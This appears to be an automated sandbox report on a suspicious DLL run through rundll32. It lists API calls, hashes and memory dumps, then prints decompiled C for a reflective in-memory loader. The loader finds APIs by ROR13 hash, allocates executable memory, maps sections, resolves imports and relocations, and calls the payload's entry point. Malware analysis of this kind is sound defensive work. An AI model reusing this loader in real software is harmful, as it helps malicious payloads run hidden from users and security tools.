Instruction ID: 9bbb68cf405c073882938a119a67fd39545ffab6db353a723d43beaf03e96634
Opcode Fuzzy Hash: f7c751d4dc9c2cb99d1a216bf6311ff5c36e571aebc0cf45848ffe262020ba6c
Instruction Fuzzy Hash: 51B092B6A08945EAAE92ABF1590CF2A3A28AD412163029444A456D9208EA24D006EA21

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC440, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EDBC445
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6EDBC455

Strings

kernel32, xrefs: 6EDBC440
SetThreadDescription, xrefs: 6EDBC44F

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: 7e0986d58b763414d7598059a0836675b496c0653bde3ef607449369406c1a15
Instruction ID: b6632e4a5e9af83dce1045abbac4dccad6005643b98820b2ec66058a23b96a74
Opcode Fuzzy Hash: 7e0986d58b763414d7598059a0836675b496c0653bde3ef607449369406c1a15
Instruction Fuzzy Hash: E9B092B9A00905EFBE91EBF24D2CB3B3A59A9512523039440A992D9108DA20C006AB61

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC420, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EDBC425
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6EDBC435

Strings

kernel32, xrefs: 6EDBC420
GetSystemTimePreciseAsFileTime, xrefs: 6EDBC42F

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32
API String ID: 1646373207-392834919
Opcode ID: d5e4b32d9b314bdb5e8c5e3ddd4f5175b2830b15d3f8beeb6ffa92b983799acc
Instruction ID: 11813be7cb4436c77bb735b5d1e2f36e5dbd974c33e88471ebffb166f1cc3160
Opcode Fuzzy Hash: d5e4b32d9b314bdb5e8c5e3ddd4f5175b2830b15d3f8beeb6ffa92b983799acc
Instruction Fuzzy Hash: BFB09B75900509EA7D51D7F1491CF2B251565D1552302545064D1D9109DA20D0069A21

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD4089, Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(3766148C,?,00000000,?), ref: 6EDD40EC

Part of subcall function 6EDD19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDD3B22,?,00000000,-00000008), ref: 6EDD1A5F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6EDD4347
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EDD438F
GetLastError.KERNEL32 ref: 6EDD4432

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: fe7975d5a4030a5d895275c173e3bb3d5591056296825bc4c71663e185fadb74
Instruction ID: 85933fd98a1dde517b25bf67d9b934c75a2c88be41156dc324a19ba17e5b19c2
Opcode Fuzzy Hash: fe7975d5a4030a5d895275c173e3bb3d5591056296825bc4c71663e185fadb74
Instruction Fuzzy Hash: 42D158B5D406599FDF05CFE8C890AEDBBB9FF09304F18452AE865EB241D730A94ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC2620, Relevance: 6.2, APIs: 4, Instructions: 215COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,?,00000000,?,?,?), ref: 6EDC27B1
WriteConsoleW.KERNEL32(?,?,00000001,?,00000000,?,?,?), ref: 6EDC2803
GetLastError.KERNEL32(?,?,?), ref: 6EDC280D
GetLastError.KERNEL32(?,?,?), ref: 6EDC2875

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleErrorLastWrite
String ID:
API String ID: 4006445483-0
Opcode ID: 698989ab16d2057cf11053c0fad412abcfddaf39e6a4d2f36d21a4586c91bba6
Instruction ID: 5cc0e5a1c33ced00cb5fe327f4a74882dd8bb96fe9cdc936ca7602286d676fbb
Opcode Fuzzy Hash: 698989ab16d2057cf11053c0fad412abcfddaf39e6a4d2f36d21a4586c91bba6
Instruction Fuzzy Hash: 70618C31A48B15CBE7108FD5CC8036A779AEFC4B88F048939E4D48B3C4E675D94287A3

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCCDDF, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6EDCCEA6
___AdjustPointer.LIBCMT ref: 6EDCCEC9
___AdjustPointer.LIBCMT ref: 6EDCCF65

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf5a3227f26c8947aadbdb471f9bde3d1340210c9dd7d1e148c8ac148916553b
Instruction ID: fb2b8a45665a04814f308d71f54e52eadbcd67df44c5a4a6f8037d14c4c70a2f
Opcode Fuzzy Hash: bf5a3227f26c8947aadbdb471f9bde3d1340210c9dd7d1e148c8ac148916553b
Instruction Fuzzy Hash: 3051F271606606EFEB158FD5C850BAA77BCEF09F94F10042DEA159F290E731E851CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD06C7, Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6EDD19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDD3B22,?,00000000,-00000008), ref: 6EDD1A5F

GetLastError.KERNEL32 ref: 6EDD072B
__dosmaperr.LIBCMT ref: 6EDD0732
GetLastError.KERNEL32(?,?,?,?), ref: 6EDD076C
__dosmaperr.LIBCMT ref: 6EDD0773

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e440ccb9be7ed4002ca6cf5c704e75402848f8f922f8b811c6551c8d09d0dd20
Instruction ID: d005641276eb263c2babcdf7f5fc5a832eda08d65e67ce4be354acb761956755
Opcode Fuzzy Hash: e440ccb9be7ed4002ca6cf5c704e75402848f8f922f8b811c6551c8d09d0dd20
Instruction Fuzzy Hash: 0E21D771604205FF9B509FE6C88099BB7BFFF843F87148919E8589B244E730EC488BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD1AA1, Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6EDD1AA9

Part of subcall function 6EDD19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDD3B22,?,00000000,-00000008), ref: 6EDD1A5F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EDD1AE1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EDD1B01

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 5f719b8b3033041458c68cf72f6bccb849bdad857cf0fc3936b1d026cf5b8efb
Instruction ID: 5627557b0267d3ee7189d0b1839bffa8ce2ab181525f0d86ed8fb5d664e8e461
Opcode Fuzzy Hash: 5f719b8b3033041458c68cf72f6bccb849bdad857cf0fc3936b1d026cf5b8efb
Instruction Fuzzy Hash: 9C11D2B5A05A19BFAB0257F69DC9CEF6A6CDE872993010825F801D2140FB70DE0E83B1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD57E6, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6EDD5197,?,00000001,?,?,?,6EDD4486,?,?,00000000), ref: 6EDD57FD
GetLastError.KERNEL32(?,6EDD5197,?,00000001,?,?,?,6EDD4486,?,?,00000000,?,?,?,6EDD4A0D,?), ref: 6EDD5809

Part of subcall function 6EDD57CF: CloseHandle.KERNEL32(FFFFFFFE,6EDD5819,?,6EDD5197,?,00000001,?,?,?,6EDD4486,?,?,00000000,?,?), ref: 6EDD57DF

___initconout.LIBCMT ref: 6EDD5819

Part of subcall function 6EDD5791: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EDD57C0,6EDD5184,?,?,6EDD4486,?,?,00000000,?), ref: 6EDD57A4

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6EDD5197,?,00000001,?,?,?,6EDD4486,?,?,00000000,?), ref: 6EDD582E

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c0f86f86acf7aaf1d19b411df62670110f800189084856ad719a172f819eae12
Instruction ID: efd8cea251c627f41a217a19b153131c63de55335c45bc44bd7e301a2c5020dd
Opcode Fuzzy Hash: c0f86f86acf7aaf1d19b411df62670110f800189084856ad719a172f819eae12
Instruction Fuzzy Hash: 3AF01C36000619FBDF622FD5CC09A993F26FB0A7B0B114010FE1995120DB328870DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCD3E0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6EDCD405

Strings

MOC, xrefs: 6EDCD417
RCC, xrefs: 6EDCD41F

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ddad8668a3f1684533ad5bd79f31d45c736c8d8a582676607007bb846ee44ad1
Instruction ID: 6b3fee80fcc7d52358578045344f0f4c71b8e89ddf5c8fb8aebfea617888bd88
Opcode Fuzzy Hash: ddad8668a3f1684533ad5bd79f31d45c736c8d8a582676607007bb846ee44ad1
Instruction Fuzzy Hash: 3041447190020AEFDF01CF94CD80AEEBBB9AF48748F148059FA04A7264D335E951DF62

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5724 Parent PID: 5444 rundll32.exeCOMMON

Executed Functions

Function 6EDC9990, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6EDC9990(void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t137;
				intOrPtr _t139;
				struct HDC__* _t144;
				void* _t152;
				signed int _t153;
				void* _t154;
				void* _t164;
				signed int _t167;
				signed int _t169;
				unsigned short _t171;
				void* _t176;
				signed int _t178;
				char _t189;
				void* _t192;
				signed int _t193;
				signed int _t196;
				signed int _t202;
				intOrPtr _t204;
				signed int _t205;
				signed int _t207;
				intOrPtr _t208;
				void* _t209;
				void* _t210;
				signed int _t212;
				signed int _t215;
				intOrPtr _t216;
				intOrPtr* _t219;
				signed int _t225;
				signed int _t226;
				signed int _t227;
				signed short _t230;
				void* _t235;
				signed int _t236;
				signed int _t237;
				void* _t241;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr* _t249;
				signed int _t250;
				intOrPtr* _t252;
				intOrPtr* _t255;
				intOrPtr* _t256;
				void* _t258;
				intOrPtr* _t260;
				unsigned int _t262;
				intOrPtr* _t264;
				void* _t265;
				void* _t266;
				signed int* _t268;
				signed int _t270;
				signed int _t271;
				intOrPtr* _t273;
				signed int _t277;
				void* _t278;
				signed int _t279;
				void* _t280;
				signed int _t281;
				void* _t283;
				signed int _t285;
				signed int _t286;
				signed int _t288;
				signed char* _t289;
				intOrPtr _t290;
				signed int _t292;
				void* _t293;
				signed short* _t296;
				void* _t297;
				signed int _t298;
				signed int _t299;
				signed int _t300;

				_t137 =  *0x6ee0a4a4; // 0xcd23f81e
				 *(_t299 + 0x4c) = _t137 ^ _t299;
				_t255 =  *((intOrPtr*)(_t299 + 0x64));
				_push(0x400);
				 *((intOrPtr*)(_t299 + 0x2c)) = _t255;
				_t139 = E6EDCA04E(__eflags);
				_t256 =  *_t255;
				_t300 = _t299 + 4;
				_t202 = 0;
				 *((intOrPtr*)(_t300 + 0x2c)) = _t139;
				 *(_t300 + 0x24) = 0;
				 *(_t300 + 0x18) = 0;
				 *(_t300 + 0x20) = 0;
				L1:
				while(1) {
					if( *_t256 != 0x5a4d) {
						L4:
						_t256 = _t256 - 1;
						continue;
					}
					_t216 =  *((intOrPtr*)(_t256 + 0x3c));
					if(_t216 - 0x40 > 0x3bf ||  *((intOrPtr*)(_t216 + _t256)) != 0x4550) {
						goto L4;
					}
					 *((intOrPtr*)(_t300 + 0x14)) = _t256;
					_t292 =  *( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x14);
					 *(_t300 + 0x1c) = _t292;
					__eflags = _t292;
					if(_t292 != 0) {
						do {
							_t289 =  *(_t292 + 0x28);
							_t236 = 0;
							__eflags = 0;
							_t250 =  *(_t292 + 0x24) & 0x0000ffff;
							do {
								_t271 =  *_t289 & 0x000000ff;
								asm("ror ecx, 0xd");
								__eflags =  *_t289 - 0x61;
								if( *_t289 >= 0x61) {
									_t236 = _t236 + 0xffffffe0;
									__eflags = _t236;
								}
								_t250 = _t250 + 0xffff;
								_t236 = _t236 + _t271;
								_t289 =  &(_t289[1]);
								__eflags = _t250;
							} while (_t250 != 0);
							__eflags = _t236 - 0x6a4abc5b;
							if(_t236 == 0x6a4abc5b) {
								_t290 =  *((intOrPtr*)(_t292 + 0x10));
								_t298 = 3;
								_t192 =  *((intOrPtr*)( *((intOrPtr*)(_t290 + 0x3c)) + _t290 + 0x78)) + _t290;
								 *(_t300 + 0x10) = _t192;
								_t273 =  *((intOrPtr*)(_t192 + 0x20)) + _t290;
								_t215 =  *((intOrPtr*)(_t192 + 0x24)) + _t290;
								__eflags = _t215;
								do {
									_t252 =  *_t273 + _t290;
									_t193 = 0;
									__eflags = 0;
									_t237 =  *_t252;
									do {
										asm("ror eax, 0xd");
										_t252 = _t252 + 1;
										_t193 = _t193 + _t237;
										_t237 =  *_t252;
										__eflags = _t237;
									} while (_t237 != 0);
									__eflags = _t193 - 0xec0e4e8e;
									if(_t193 == 0xec0e4e8e) {
										L18:
										_t241 =  *((intOrPtr*)( *(_t300 + 0x10) + 0x1c)) + ( *_t215 & 0x0000ffff) * 4;
										__eflags = _t193 - 0xec0e4e8e;
										if(_t193 != 0xec0e4e8e) {
											__eflags = _t193 - 0x7c0dfcaa;
											if(_t193 != 0x7c0dfcaa) {
												__eflags = _t193 - 0x91afca54;
												if(_t193 == 0x91afca54) {
													_t196 =  *((intOrPtr*)(_t241 + _t290)) + 0x57 + _t290;
													__eflags = _t196;
													 *(_t300 + 0x20) = _t196;
												}
											} else {
												 *(_t300 + 0x18) =  *((intOrPtr*)(_t241 + _t290)) + _t290;
											}
										} else {
											 *(_t300 + 0x24) =  *((intOrPtr*)(_t241 + _t290)) + _t290;
										}
										_t298 = _t298 + 0xffff;
										__eflags = _t298;
									} else {
										__eflags = _t193 - 0x7c0dfcaa;
										if(_t193 == 0x7c0dfcaa) {
											goto L18;
										} else {
											__eflags = _t193 - 0x91afca54;
											if(_t193 == 0x91afca54) {
												goto L18;
											}
										}
									}
									_t273 = _t273 + 4;
									_t215 = _t215 + 2;
									__eflags = _t298;
								} while (_t298 != 0);
								_t202 =  *(_t300 + 0x18);
								_t292 =  *(_t300 + 0x1c);
							}
							__eflags =  *(_t300 + 0x24);
							if( *(_t300 + 0x24) == 0) {
								goto L30;
							} else {
								__eflags = _t202;
								if(_t202 == 0) {
									goto L30;
								} else {
									__eflags =  *(_t300 + 0x20);
									if( *(_t300 + 0x20) == 0) {
										goto L30;
									}
								}
							}
							break;
							L30:
							_t292 =  *_t292;
							 *(_t300 + 0x1c) = _t292;
							__eflags = _t292;
						} while (_t292 != 0);
						_t256 =  *((intOrPtr*)(_t300 + 0x14));
					}
					 *((intOrPtr*)(_t300 + 0x34)) = GetDC;
					_t144 = GetDC(0);
					 *(_t300 + 0x3c) = GetWindowRect;
					GetWindowRect(0, _t300 + 0x3c);
					 *((intOrPtr*)(_t300 + 0x40)) = ReleaseDC;
					ReleaseDC(0, _t144);
					_t204 =  *((intOrPtr*)(_t256 + 0x3c)) + _t256;
					 *((intOrPtr*)(_t300 + 0x38)) = _t204;
					CreateFileA("asd", 0, 0, 0, 0, 0, 0);
					 *((intOrPtr*)(_t300 + 0x30)) =  *(_t300 + 0x20) - GetLastError();
					_t152 = VirtualAlloc(0,  *(_t204 + 0x50), 0x3000, 0x40); // executed
					_t243 =  *(_t204 + 0x54);
					_t293 = _t152;
					 *(_t300 + 0x10) = _t293;
					_t219 = _t256;
					__eflags = _t243;
					if(_t243 != 0) {
						_t288 = _t293 - _t256;
						__eflags = _t288;
						do {
							_t189 =  *_t219;
							_t219 = _t219 + 1;
							 *((char*)(_t288 + _t219 - 1)) = _t189;
							_t243 = _t243 - 1;
							__eflags = _t243;
						} while (_t243 != 0);
					}
					_t258 = ( *(_t204 + 0x14) & 0x0000ffff) + _t204;
					_t205 =  *(_t204 + 6) & 0x0000ffff;
					__eflags = _t205;
					if(_t205 != 0) {
						_t270 = _t258 + 0x2c;
						__eflags = _t270;
						do {
							_t205 = _t205 - 1;
							 *((char*)((_t205 & 0x000003ff) +  *((intOrPtr*)(_t300 + 0x2c)))) =  *(_t300 + 0x20);
							_t235 =  *((intOrPtr*)(_t270 - 8)) + _t293;
							_t249 =  *_t270 +  *((intOrPtr*)(_t300 + 0x14));
							_t286 =  *(_t270 - 4);
							__eflags = _t286;
							if(_t286 != 0) {
								do {
									_t235 = _t235 + 1;
									 *((char*)(_t235 - 1)) =  *_t249;
									_t249 = _t249 + 1;
									_t286 = _t286 - 1;
									__eflags = _t286;
								} while (_t286 != 0);
							}
							_t270 = _t270 + 0x28;
							__eflags = _t205;
						} while (_t205 != 0);
					}
					_t207 =  *(_t300 + 0x1c) - 0xffffff80;
					_t260 = _t293 +  *_t207;
					 *((intOrPtr*)(_t300 + 0x14)) = _t260;
					_t153 =  *(_t260 + 0xc);
					__eflags = _t153;
					if(_t153 != 0) {
						while(1) {
							__eflags =  *_t207;
							if( *_t207 == 0) {
								goto L50;
							}
							_t297 =  *((intOrPtr*)(_t300 + 0x28))(_t293 + _t153);
							_t176 =  *(_t300 + 0x10);
							_t285 =  *_t260 + _t176;
							_t268 =  *((intOrPtr*)(_t260 + 0x10)) + _t176;
							__eflags =  *_t268;
							if( *_t268 != 0) {
								asm("o16 nop [eax+eax]");
								do {
									__eflags = _t285;
									if(_t285 == 0) {
										L47:
										_t207 = _t176 +  *_t268;
										__eflags = _t207;
										_t178 =  *(_t300 + 0x20)(_t297, _t207 + 2);
									} else {
										_t230 =  *_t285;
										__eflags = _t230;
										if(_t230 >= 0) {
											goto L47;
										} else {
											_t178 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t297 + 0x3c)) + _t297 + 0x78)) + _t297 + 0x1c)) + ((_t230 & 0x0000ffff) -  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t297 + 0x3c)) + _t297 + 0x78)) + _t297 + 0x10))) * 4 + _t297)) + _t297;
										}
									}
									 *_t268 = _t178;
									_t268 =  &(_t268[1]);
									__eflags = _t285;
									_t84 = _t285 + 4; // 0x4
									_t180 =  ==  ? _t285 : _t84;
									__eflags =  *_t268;
									_t285 =  ==  ? _t285 : _t84;
									_t176 =  *(_t300 + 0x10);
								} while ( *_t268 != 0);
							}
							_t293 =  *(_t300 + 0x10);
							_t260 =  *((intOrPtr*)(_t300 + 0x14)) + 0x14;
							 *((intOrPtr*)(_t300 + 0x14)) = _t260;
							_t153 =  *(_t260 + 0xc);
							__eflags = _t153;
							if(_t153 != 0) {
								continue;
							}
							goto L50;
						}
					}
					L50:
					_t154 =  *((intOrPtr*)(_t300 + 0x34))(0);
					 *(_t300 + 0x3c)(0, _t300 + 0x4c);
					 *((intOrPtr*)(_t300 + 0x40))(0, _t154);
					_t244 =  *(_t300 + 0x1c);
					_t262 = _t293 -  *((intOrPtr*)(_t244 + 0x34));
					__eflags =  *(_t244 + 0xa4);
					if( *(_t244 + 0xa4) != 0) {
						_t225 =  *((intOrPtr*)(_t244 + 0xa0)) + _t293;
						 *(_t300 + 0x18) = _t225;
						_t169 =  *(_t225 + 4);
						__eflags = _t169;
						if(_t169 != 0) {
							do {
								_t100 = _t169 - 8; // -8
								_t283 =  *_t225 + _t293;
								_t212 = _t100 >> 1;
								__eflags = _t212;
								_t296 = _t225 + 8;
								if(_t212 != 0) {
									do {
										_t245 =  *_t296 & 0x0000ffff;
										_t212 = _t212 - 1;
										_t226 = _t245;
										_t171 = _t245 >> 0xc;
										__eflags = _t171 - 0xa;
										if(_t171 != 0xa) {
											__eflags = _t171 - 3;
											if(_t171 != 3) {
												__eflags = _t171 - 1;
												if(_t171 != 1) {
													__eflags = _t171 - 2;
													if(_t171 == 2) {
														_t227 = _t226 & 0x00000fff;
														_t108 = _t227 + _t283;
														 *_t108 =  *(_t227 + _t283) + _t262;
														__eflags =  *_t108;
													}
												} else {
													 *((intOrPtr*)((_t226 & 0x00000fff) + _t283)) =  *((intOrPtr*)((_t226 & 0x00000fff) + _t283)) + (_t262 >> 0x10);
												}
											} else {
												 *((intOrPtr*)((_t226 & 0x00000fff) + _t283)) =  *((intOrPtr*)((_t226 & 0x00000fff) + _t283)) + _t262;
											}
										} else {
											 *((intOrPtr*)((_t245 & 0x00000fff) + _t283)) =  *((intOrPtr*)((_t245 & 0x00000fff) + _t283)) + _t262;
										}
										_t296 =  &(_t296[1]);
										__eflags = _t212;
									} while (_t212 != 0);
									_t225 =  *(_t300 + 0x18);
									_t169 =  *(_t225 + 4);
								}
								_t293 =  *(_t300 + 0x10);
								_t225 = _t225 + _t169;
								 *(_t300 + 0x18) = _t225;
								_t169 =  *(_t225 + 4);
								__eflags = _t169;
							} while (_t169 != 0);
							_t244 =  *(_t300 + 0x1c);
						}
					}
					 *0x6ee0ae08 = _t293;
					_t264 =  *((intOrPtr*)(_t244 + 0x28)) + _t293;
					_t277 =  *( *((intOrPtr*)(_t293 + 0x3c)) + _t293 + 0xc0);
					__eflags = _t277;
					if(_t277 != 0) {
						_t281 =  *(_t277 + _t293 + 0xc);
						__eflags = _t281;
						if(_t281 != 0) {
							_t167 =  *_t281;
							__eflags = _t167;
							while(_t167 != 0) {
								 *_t167(_t293, 1, 0);
								_t167 =  *(_t281 + 4);
								_t281 = _t281 + 4;
								__eflags = _t167;
							}
						}
					}
					_t208 =  *((intOrPtr*)(_t300 + 0x28));
					__eflags =  *(_t208 + 0x1c);
					if( *(_t208 + 0x1c) != 0) {
						 *_t264( *((intOrPtr*)(_t208 + 0x10)), 1, 0);
						goto L77;
					} else {
						_push( *((intOrPtr*)(_t208 + 4)));
						_push(_t293);
						_t279 = E6EDC9850();
						_t300 = _t300 + 8;
						__eflags = _t279;
						if(_t279 == 0) {
							L77:
							_pop(_t265);
							_pop(_t278);
							_pop(_t209);
							__eflags =  *(_t300 + 0x5c) ^ _t300;
							return E6EDCA057( *((intOrPtr*)(_t300 + 0x28)), _t209,  *(_t300 + 0x5c) ^ _t300, _t244, _t265, _t278);
						} else {
							__eflags =  *(_t208 + 0x20);
							if( *(_t208 + 0x20) != 0) {
								E6EDC9920(_t293);
								_t300 = _t300 + 4;
							}
							 *_t264( *((intOrPtr*)(_t208 + 0x10)), 1, 0);
							_t164 =  *_t279( *((intOrPtr*)(_t208 + 0xc)),  *((intOrPtr*)(_t208 + 0x10)),  *((intOrPtr*)(_t208 + 0x14)),  *((intOrPtr*)(_t208 + 0x18)));
							_pop(_t266);
							_pop(_t280);
							_pop(_t210);
							__eflags =  *(_t300 + 0x4c) ^ _t300;
							return E6EDCA057(_t164, _t210,  *(_t300 + 0x4c) ^ _t300, _t244, _t266, _t280);
						}
					}
				}
			}

0x6edc9993
0x6edc999a
0x6edc99a2
0x6edc99a6
0x6edc99ab
0x6edc99af
0x6edc99b4
0x6edc99b6
0x6edc99b9
0x6edc99bb
0x6edc99bf
0x6edc99cc
0x6edc99d0
0x00000000
0x6edc99d4
0x6edc99d7
0x6edc99ef
0x6edc99ef
0x00000000
0x6edc99ef
0x6edc99d9
0x6edc99e4
0x00000000
0x00000000
0x6edc99f8
0x6edc99ff
0x6edc9a02
0x6edc9a06
0x6edc9a08
0x6edc9a10
0x6edc9a10
0x6edc9a13
0x6edc9a13
0x6edc9a15
0x6edc9a20
0x6edc9a20
0x6edc9a23
0x6edc9a26
0x6edc9a29
0x6edc9a2b
0x6edc9a2b
0x6edc9a2b
0x6edc9a2e
0x6edc9a34
0x6edc9a36
0x6edc9a37
0x6edc9a37
0x6edc9a3c
0x6edc9a42
0x6edc9a48
0x6edc9a4b
0x6edc9a57
0x6edc9a59
0x6edc9a63
